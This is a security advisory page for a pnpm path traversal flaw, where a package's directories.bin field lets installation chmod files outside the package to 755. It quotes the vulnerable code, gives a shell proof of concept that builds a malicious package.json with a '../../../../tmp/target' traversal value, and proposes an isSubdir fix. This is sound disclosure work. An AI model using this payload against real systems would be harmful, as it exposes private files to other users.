GHSA-v253-rj99-jwpq

Suggest an improvement
Source
https://github.com/advisories/GHSA-v253-rj99-jwpq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-v253-rj99-jwpq/GHSA-v253-rj99-jwpq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-v253-rj99-jwpq
Aliases
Published
2026-01-26T21:29:58Z
Modified
2026-01-26T21:56:16.944024Z
Severity
  • 6.7 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
pnpm has Path Traversal via arbitrary file permission modification
Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

# Install
pnpm add file:/tmp/malicious-pkg

# Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

  • Supply-chain attack via npm packages
  • File permissions changed from 600 to 755 (world-readable)
  • Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}
Database specific
{
    "github_reviewed_at": "2026-01-26T21:29:58Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-732"
    ],
    "github_reviewed": true,
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / pnpm

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
10.28.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-v253-rj99-jwpq/GHSA-v253-rj99-jwpq.json"